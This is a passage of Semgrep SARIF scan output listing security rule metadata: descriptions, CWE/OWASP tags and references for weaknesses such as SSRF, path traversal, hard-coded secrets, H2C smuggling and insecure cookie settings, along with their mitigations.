upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling)\n - [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c)\n","text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","id":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","name":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","id":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","name":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","id":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","name":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash","id":"cpp.lang.security.crypto.insecure-hash.insecure-hash","name":"cpp.lang.security.crypto.insecure-hash.insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.insecure-hash.insecure-hash"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","id":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","name":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","id":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","name":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"help":{"markdown":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine)\n - [https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/](https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks)\n","text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","id":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","name":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","id":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","name":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"help":{"markdown":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage)\n - [https://www.npmjs.com/package/csurf](https://www.npmjs.com/package/csurf)\n - [https://www.npmjs.com/package/csrf](https://www.npmjs.com/package/csrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","id":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","name":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","id":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","name":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"help":{"markdown":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb)\n - [https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/](https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/)\n","text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","id":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","name":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"help":{"markdown":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid)\n - [https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data](https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data)\n","text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"helpUri":"https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","id":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","name":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"help":{"markdown":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace)\n - [https://github.com/returntocorp/semgrep-rules/issues/518](https://github.com/returntocorp/semgrep-rules/issues/518)\n","text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","id":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","name":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"help":{"markdown":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","id":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","name":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"help":{"markdown":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled)\n - [https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints)\n - [https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785](https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785)\n - [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)\n","text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","id":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","name":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"help":{"markdown":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","id":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","name":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square OAuth Secret detected"},"help":{"markdown":"Square OAuth Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret)\n - [https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py](https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py)\n","text":"Square OAuth Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","id":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","name":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 